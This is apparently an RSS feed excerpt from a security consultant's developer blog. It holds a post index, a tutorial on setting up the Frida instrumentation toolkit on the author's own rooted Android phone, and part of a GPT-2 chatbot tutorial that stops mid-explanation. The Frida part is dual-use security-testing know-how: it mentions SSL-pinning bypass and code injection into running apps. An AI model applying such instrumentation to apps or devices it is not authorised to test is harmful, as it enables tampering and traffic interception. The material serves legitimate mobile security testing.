&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/how-to-setup-burp-suite-on-android-581a"&gt;How to setup Burp Suite on Android&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/mobile-security-tools-part-1-scrcpy-an3"&gt;Mobile Security Tools part 1: scrcpy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/mobile-security-tools-part-2-frida-3mb3"&gt;Mobile Security Tools part 2: Frida&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/mobile-security-tools-part-3-objection-531h"&gt;Mobile Security Tools part 3: Objection&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/how-to-use-pwnfox-with-burp-suite-5ail"&gt;How to use PwnFox with Burp Suite&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/testing-authorization-with-auth-analyzer-in-burp-suite-3b65"&gt;Testing Authorization with Auth Analyzer in Burp Suite&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/practical-example-of-escaping-xss-context-4i5a"&gt;Practical Example of Escaping XSS Context&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/how-to-create-security-test-files-for-file-upload-1i08"&gt;How to create security test files for file upload&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Diversity, Equity and Inclusion
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/it-s-not-wrong-to-like-pink-and-be-a-developer-2387"&gt;It's not wrong to like pink and be a developer&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/nevertheless-minja-coded-1clc"&gt;Nevertheless, Minja coded&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/nevertheless-minja-succeeded-1k3k"&gt;Nevertheless, Minja succeeded&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/becoming-a-cyber-security-advocate-importance-of-role-models-3j9d"&gt;Becoming a Cyber Security Advocate: Importance of Role Models&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  General
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/cute-pc-accessories-2b99"&gt;Cute PC Accessories&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/my-journey-into-software-development-5gac"&gt;My journey into software development&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/why-do-i-like-programming-3k0j"&gt;4 reasons why I love programming&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/how-do-i-battle-impostor-syndrome-4n0l"&gt;How do I battle impostor syndrome?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/how-i-build-my-social-media-brand-in-2021-after-having-two-accounts-with-over-10k-followers-4lmb"&gt;How I build my social media brand in 2021 - after having two accounts with over 10k followers&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/staying-active-during-the-work-day-customized-pomodoro-40ii"&gt;Staying active during the work day - Customized Pomodoro&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/how-i-keep-drafted-blog-posts-organized-4j40"&gt;How I keep drafted blog posts organized&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/simple-instructions-on-how-to-use-password-manager-and-why-i5j"&gt;Simple instructions on how to use Password Manager - and why&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/what-is-vpn-simple-explanation-4g7g"&gt;What is VPN - simple explanation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/building-a-simple-chatbot-using-gpt-model-part-1-3oeo"&gt;Building a Simple Chatbot using GPT model - part 1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/building-a-simple-chatbot-using-gpt-model-part-2-45cn"&gt;Building a Simple Chatbot using GPT model - part 2&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  AR, VR &amp;amp; Android development
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/overview-of-mobile-augmented-reality-fall-2020-40lh"&gt;Overview of mobile Augmented Reality fall 2020&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/simple-example-of-mvvm-architecture-in-kotlin-4j5b"&gt;Simple example of MVVM architecture in Kotlin&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/developing-virtual-reality-applications-while-suffering-from-motion-sickness-1dcf"&gt;Developing Virtual Reality applications while suffering from motion sickness&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/tech-tuesday-introduction-to-augmented-reality-1o54"&gt;Tech Tuesday - Introduction to Augmented Reality&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/unity-setup-and-arcore-installation-19md"&gt;Unity setup and ARCore installation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/augmented-images-using-arcore-and-unity-40eg"&gt;Augmented Images using ARCore and Unity&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/plane-detection-with-arcore-and-unity-3245"&gt;Plane Detection with ARCore and Unity&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/augmented-faces-with-unity-and-arcore-232m"&gt;Augmented Faces with Unity and ARCore&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;You can also follow me on Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; for a behind-the-scenes look at my work as an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt;, and to learn more cybersecurity tips and insights!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Mobile Security Tools part 2: Frida</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Fri, 07 Jun 2024 10:59:17 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/mobile-security-tools-part-2-frida-3mb3</link>
      <guid>https://forem.com/whatminjacodes/mobile-security-tools-part-2-frida-3mb3</guid>
      <description>&lt;h3&gt;
  
  
  Mobile Security Tools-series:
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Part 1: &lt;a href="https://dev.to/whatminjacodes/mobile-security-tools-part-1-scrcpy-an3"&gt;scrcpy&lt;/a&gt;
&lt;/h4&gt;

&lt;h4&gt;
  
  
  Part 2: Frida
&lt;/h4&gt;




&lt;h3&gt;
  
  
  What is Frida?
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://frida.re/" rel="noopener noreferrer"&gt;Frida&lt;/a&gt; is a free and open-source instrumentation toolkit that can be used to test and evaluate Android apps.&lt;/p&gt;

&lt;p&gt;It can technically be used without rooting a phone, but to make things easier, you should have a rooted phone. Frida allows users to modify and inject code into running applications in order to analyze their behavior.&lt;/p&gt;

&lt;p&gt;It can be used for tasks such as reverse engineering, debugging, and security testing.&lt;/p&gt;

&lt;p&gt;There are many features, such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;modifying original binary images&lt;/li&gt;
&lt;li&gt;bypassing SSL pinning&lt;/li&gt;
&lt;li&gt;decrypting encrypted traffic&lt;/li&gt;
&lt;li&gt;analyzing applications&lt;/li&gt;
&lt;li&gt;runtime manipulation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tutorial
&lt;/h3&gt;

&lt;p&gt;Let's install and use Frida next. Note that you will need a rooted phone for this.&lt;/p&gt;

&lt;h4&gt;
  
  
  Prerequisites
&lt;/h4&gt;

&lt;p&gt;You need a rooted Android phone to follow this tutorial. I used &lt;a href="https://github.com/topjohnwu/Magisk" rel="noopener noreferrer"&gt;Magisk&lt;/a&gt; for that, but this tutorial won't go through the process of rooting your phone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My setup:&lt;/strong&gt;&lt;br&gt;
A rooted Pixel 6a&lt;br&gt;
Android 13&lt;br&gt;
Ubuntu 22.04.3 LTS&lt;br&gt;
Android &lt;a href="https://developer.android.com/tools/releases/platform-tools" rel="noopener noreferrer"&gt;Platform Tools&lt;/a&gt; downloaded&lt;/p&gt;

&lt;p&gt;If you are new to &lt;a href="https://developer.android.com/tools/adb" rel="noopener noreferrer"&gt;adb&lt;/a&gt;, I recommend you first read what it is.&lt;/p&gt;
&lt;h4&gt;
  
  
  Install Frida
&lt;/h4&gt;

&lt;p&gt;We will use pip, a package manager for Python packages, to install Frida. If you don't have pip, install it by running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install python3-pip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can ensure the installation was successful by checking the version of pip:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip --version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Install Frida using pip:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo pip install frida-tools
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check the version of Frida:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;frida --version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Find processor version of your phone
&lt;/h4&gt;

&lt;p&gt;To install the correct version of the Frida server on your phone, you need to know the processor version.&lt;/p&gt;

&lt;p&gt;Plug your phone into your computer, navigate to the platform-tools folder, and open a device shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./adb shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run the following command to get the version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;getprop ro.product.cpu.abi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Download Frida server
&lt;/h4&gt;

&lt;p&gt;Go to &lt;a href="https://github.com/frida/frida/releases" rel="noopener noreferrer"&gt;Frida Github&lt;/a&gt; and find the link to a Frida server that matches both the Frida version installed and the processor version of your phone.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxw7ihbs06ghx2hspjixo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxw7ihbs06ghx2hspjixo.png" alt="A screenshot of the Frida Releases page on GitHub." width="800" height="474"&gt;&lt;/a&gt;&lt;/p&gt;
Click Show all assets to find Frida server.



&lt;p&gt;So for example in my case, Frida version was &lt;code&gt;16.1.4&lt;/code&gt; and the processor version was &lt;code&gt;arm64-v8a&lt;/code&gt;. So I chose &lt;code&gt;frida-server-16.1.4-android-arm64.xz&lt;/code&gt; from the list.&lt;/p&gt;

&lt;p&gt;Open another tab in the terminal and download the chosen Frida server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;wget https://github.com/frida/frida/releases/download/[YOUR-VERSION]/frida-server-[YOUR-VERSION]-android-arm64.xz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Extract the downloaded package:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;xz -d frida-server-[YOUR-VERSION]-android-arm64.xz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lastly, push the extracted binary to the device. Navigate to the platform-tools folder and push the file to the &lt;code&gt;/data/local/tmp&lt;/code&gt; folder on your phone:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./adb push /path-to-file/frida-server-[YOUR-VERSION]-android-arm64 /data/local/tmp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you don't know the path, you can use the &lt;code&gt;pwd&lt;/code&gt; command in the terminal to find the current folder's path.&lt;/p&gt;

&lt;h4&gt;
  
  
  Execute Frida server on the device
&lt;/h4&gt;

&lt;p&gt;In the &lt;code&gt;adb shell&lt;/code&gt; tab on the terminal, switch to the root user on the device:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;su
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigate to the folder where you pushed the Frida server file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd /data/local/tmp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Give the file execute permission:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod +x frida-server-[YOUR-VERSION]-android-arm64
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run Frida server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./frida-server-[YOUR-VERSION]-android-arm64 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  That's it!
&lt;/h3&gt;

&lt;p&gt;This was a tutorial on how to set up Frida on your Android phone. Next time I will show you what you can use Frida for, but this was all for now!&lt;/p&gt;

&lt;p&gt;You can also follow my Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; if you are interested to see more about my days as a Cyber Security consultant and learn more about cyber security with me!&lt;/p&gt;

</description>
      <category>android</category>
      <category>mobile</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Building a Simple Chatbot using GPT model - part 2</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Fri, 31 May 2024 07:16:09 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/building-a-simple-chatbot-using-gpt-model-part-2-45cn</link>
      <guid>https://forem.com/whatminjacodes/building-a-simple-chatbot-using-gpt-model-part-2-45cn</guid>
      <description>&lt;p&gt;On the &lt;a href="https://dev.to/whatminjacodes/building-a-simple-chatbot-using-gpt-model-part-1-3oeo"&gt;first part&lt;/a&gt; of this series, we set up the environment by installing Ubuntu, Python, Pip and Virtual Environment. Now we can get started with the actual chatbot.&lt;/p&gt;

&lt;h4&gt;
  
  
  Install Required Libraries
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://huggingface.co/" rel="noopener noreferrer"&gt;Hugging Face&lt;/a&gt; is a company and community platform making AI accessible through open-source tools, libraries, and models. It is most notable for its &lt;em&gt;transformers&lt;/em&gt; Python library, built for natural language processing applications. This library provides developers a way to integrate ML models hosted on Hugging Face into their projects and build comprehensive ML pipelines.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://pytorch.org/" rel="noopener noreferrer"&gt;PyTorch&lt;/a&gt; is a powerful and flexible deep learning framework that offers a rich set of features for building and training neural networks.&lt;/p&gt;

&lt;p&gt;To install the correct version of torch, you need to visit the &lt;a href="https://pytorch.org/get-started/locally/" rel="noopener noreferrer"&gt;PyTorch website&lt;/a&gt; and follow the instructions for your setup. For example, I chose the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PyTorch Build: Stable (2.3.0)&lt;/li&gt;
&lt;li&gt;OS: Linux&lt;/li&gt;
&lt;li&gt;Package: Pip&lt;/li&gt;
&lt;li&gt;Language: Python&lt;/li&gt;
&lt;li&gt;Compute Platform: CPU&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These settings resulted to a following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cpu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It can take a while to install torch. After it is done, you can install transformers by running the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip3 install transformers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Developing a Simple Chatbot
&lt;/h4&gt;

&lt;p&gt;For this example, we'll use the GPT-2 model from Hugging Face.&lt;/p&gt;

&lt;p&gt;Here is a basic script to for creating a chatbot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;transformers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GPT2LMHeadModel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;GPT2Tokenizer&lt;/span&gt;

&lt;span class="c1"&gt;# Load the pre-trained GPT-2 model and tokenizer
&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt2-large&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;tokenizer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GPT2Tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GPT2LMHeadModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Set the model to evaluation mode
&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;input_ids&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;return_tensors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Generate response
&lt;/span&gt;    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;no_grad&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_ids&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;num_return_sequences&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pad_token_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eos_token_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;skip_special_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Chatbot: Hi there! How can I help you?&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;user_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;You: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Chatbot: Goodbye!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generate_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Chatbot:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's go through the code together.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;torch&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;transformers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GPT2LMHeadModel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;GPT2Tokenizer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first line imports the PyTorch library and the second imports two classes from transformers library: &lt;em&gt;GPT2LMHeadModel&lt;/em&gt; and &lt;em&gt;GPT2Tokenizer&lt;/em&gt;. &lt;em&gt;GPT2LMHeadModel&lt;/em&gt; is used to load the GPT-2 model, and &lt;em&gt;GPT2Tokenizer&lt;/em&gt; is used to preprocess and tokenize text input.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Load the pre-trained GPT-2 model and tokenizer
&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gpt2-large&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;tokenizer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GPT2Tokenizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GPT2LMHeadModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_pretrained&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;model_name = "gpt2-large"&lt;/em&gt;: Sets the variable &lt;em&gt;model_name&lt;/em&gt; to the string &lt;em&gt;gpt2-large&lt;/em&gt;, indicating the specific model to be loaded.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;tokenizer = GPT2Tokenizer.from_pretrained(model_name)&lt;/em&gt;: Loads the pre-trained tokenizer corresponding to the GPT-2 model. The tokenizer is responsible for converting text to token IDs that the model can process.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;model = GPT2LMHeadModel.from_pretrained(model_name)&lt;/em&gt;: Loads the pre-trained GPT-2 model using the specified model name. The &lt;em&gt;from_pretrained&lt;/em&gt; method downloads the model's weights and configuration.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Set the model to evaluation mode
&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



